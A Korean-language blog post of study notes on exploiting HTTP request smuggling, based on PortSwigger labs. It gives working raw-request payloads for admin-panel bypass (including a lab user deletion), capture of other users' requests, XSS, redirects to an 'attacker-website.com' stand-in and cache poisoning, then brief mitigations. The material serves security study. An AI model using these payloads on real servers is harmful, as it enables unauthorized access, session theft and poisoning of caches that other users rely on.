IMLENA

HTTP request smuggling 취약점 3 - exploit, mitigation 본문

WEB

HTTP request smuggling 취약점 3 - exploit, mitigation

IM레나2 2021. 9. 3. 00:33

2021.09.01 - [WEB] - HTTP request Smuggling 취약점 1

2021.09.02 - [WEB] - HTTP request Smuggling 취약점 2

 

HTTP request smuggling 취약점 1,2에서 취약점을 찾는 방법을 공부했습니다.

이어서 취약점을 통한 exploiting을 정리하도록 하겠습니다.

 

1. Bypass front-end security controls

 

몇몇 애플리케이션에서 프론트엔드 서버는 보안을 위해 사용되기도 한다. (개별적 요청을 허용할 것인지 거부할 것인지 결정)

허용된 요청은 백엔드 서버로 전달되고 프론트엔드의 제약을 통과 한 것으로 인식된다.

즉 프론트엔드를 거쳐 백엔드로 들어온 요청에 대해서 백엔드 단에서 추가 확인을 하지 않는다.

 

* 취약한 접근 허가 예시

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com

Foo: x
GET /home HTTP/1.1
Host: vulnerable-website.com

프론트엔드 서버는 /home 요청 하나로 인식하나 백엔드에서는 /home 과 /admin으로 나눠 인식하게 되어 /admin 페이지에 접근할 수 있게 된다.

 

*예제 문제*

GET /admin HTTP/1.1
Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net
Cookie: session=XvQOzQkMDfzZXGWvo2O6WFP8AojPVAIL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close
POST / HTTP/1.1
Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 35
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

Foo:x

/admin 페이지 요청을 위해 해당 헤더를 변경하였다.

HTTP/1.1 401 Unauthorized 와 Admin interface only available to local users 라는 내용이 반환

 

POST / HTTP/1.1
Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net
Cookie: session=KZ1GoYtW4VzTpvIbFZv3s6Qf884sDYmS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
{"error":"Forbidden: Duplicate header names are not allowed"}

Host를 localhost로 지정하였으나 duplicate header로 error 반환

 

POST / HTTP/1.1
Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net
Cookie: session=KZ1GoYtW4VzTpvIbFZv3s6Qf884sDYmS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Content-Length: 71
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Lenth: 4

hi
POST / HTTP/1.1
Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net
Cookie: session=KZ1GoYtW4VzTpvIbFZv3s6Qf884sDYmS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Content-Length: 96
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Lenth: 4

hi

admin 패널 접근 -> delete 실행 (CL.TE)

 

 

 

2. 프론트엔드 요청 다시 쓰기

몇몇 애플리케이션에서는 프론트엔드에서 백엔드로 보내기 전에 rewriting을 한다. 

EX)

- TLS 연결을 종료하고 사용된 프로토콜과 암호를 설명하는 헤더를 추가한다.

- 사용자의 IP가 포함된 X-Forwarded-For 헤더를 추가한다.

- 유저 ID기반한 세션토큰을 정하고 유저를 특정하기 위한 헤더를 추가한다.

 

이러한 경우 앞에서 본 smuggling 방법만으로는 안되고 프론트엔드 서버가 어떻게 요청을 rewriting하는지 확인 해야한다.

프론트엔드 서버가 처리하는 방법을 확인 하기 위한 3가지

1) 애플리케이션의 응답이 요청 파라미터 값에 반영되는 POST request 찾기

2) 메시지 본문에 반영 파라미터가 마지막으로 나타나도록 섞는다.

3) Smuggle this request to the back-end server, followed directly by a normal request whose rewritten form you want to reveal. 

 

 

예시 코드)

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net
<input id="email" value="wiener@normal-user.net" type="text">

 

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=
POST /login HTTP/1.1
Host: vulnerable-website.com
...
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

 

 

3. 다른 유저의 응답 확인

스토리지에 text 데이터가 저장되고 있는 경우 테스트 해볼 만한 취약점

Comments, emails, profile descriptions, screen names 등 공격 포인트가 존재할 수 있다.

 

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

표시한 부분 POST가 이후 다른 사용자의 요청으로 이어져서

다른 사용자의 요청이

 

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 154

Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

...

 

위 처럼 인식되어 comment=의 값으로 GET 사용자 요청이 입력되고 저장되게 된다.

 

 

 

4. 반사형 XSS 공격

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

 

다음 유저는 

GET / HTTP/1.1

User-Agent:<script>alert(1)</script>

~ 로 시작하는 요청을 보내게 되고 서버는 해당 xss 응답한다.

 

 

5.HTTP request smuggling to turn an on-site redirect into an open redirect

* 공격자가 자신의 사이트를 HOST로 전달

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X 

 

* 사용자의 요청이 smuggled 되서 Location이 공격자의 사이트

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
GET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

 

6. 웹 캐시 포이즈닝

프론트 서버가 컨텐츠의 내용을 캐싱 할 경우 

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

 

7. web cache deception

6번 항목과 비슷하게 수행할 수 있으나 다른 목적을 위해 사용된다.

다른 유저의 민감한 정보를 캐시하려고 사용하는 공격

 

공격코드

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X
백엔드 서버 처리

GET /private/messages HTTP/1.1
Foo: X
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
프론트엔드 서버처리

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

 

 

*대응 방안

HTTP request smuggling 취약점은 프론트 서버가 여러개의 요청을 처리하며 같은 네트워크의 백엔드 서버에 전송하므로 생기는 취약점이다.

백엔드 연결의 재사용 하지 않고 매 요청은 다른 네트워크 연결을 통해서 받게 한다.

HTTP/2를 사용한다.

프론트엔드와 백엔드 서버의 웹서버 소프트웨어를 동일하게 사용한다.

 

 

 

 

 

 

 

 

** 여러번 반복하고 portswigger 예제 문제를 풀어보기로....

 

출처: Portswigger 

https://portswigger.net/web-security/request-smuggling/exploiting

Comments